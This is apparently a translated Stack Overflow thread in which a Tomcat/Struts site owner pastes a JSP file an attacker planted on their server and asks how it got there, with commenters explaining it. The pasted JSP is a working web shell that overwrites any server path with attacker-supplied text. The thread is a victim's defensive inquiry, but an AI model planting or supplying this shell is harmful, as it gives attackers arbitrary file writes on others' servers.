2
我有一個由Tomcat 7.0.42提供服務的Struts 2 Web應用程序。我最近找到了我沒有上傳的文件。這裏我舉一個例子爲什麼在服務器上上傳未知文件?
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">
這是一個小的JSP用於在我的服務器上寫文件。幾天前,他們訪問了shell,並且由於某種DDoS攻擊,所有服務器都關閉了。
我真的很想知道他們如何在我的服務器上寫入文件。我有一些與用戶交互的表單,但所有字段都是正則表達式受限的,我使用準備好的語句來打我的數據庫。你可以看看,如果你想看到的問題「在行動」(link)
任何幫助是如此讚賞。謝謝!
此腳本可能允許服務器上的任何文件(甚至可能在網絡上)被任意內容替換,僅受Web服務器上的權限限制。即使權限是合適的,該腳本仍然通過依靠單層安全性來深入違反防禦概念。 'url'參數應該限制在特定的文件位置,並且不允許超出預期範圍的值。 – drf
那麼這個腳本不是我的。有人已將其上傳到我的服務器。我想知道如何。謝謝!! – leccionesonline
請參閱http://stackoverflow.com/questions/20243561/what-is-this-code-doing,其中包含相同的代碼示例。您的網絡服務器因某種漏洞(無法單獨從代碼識別)而受到威脅,並且此頁面允許攻擊者使用某種形式的遠程控制。 – drf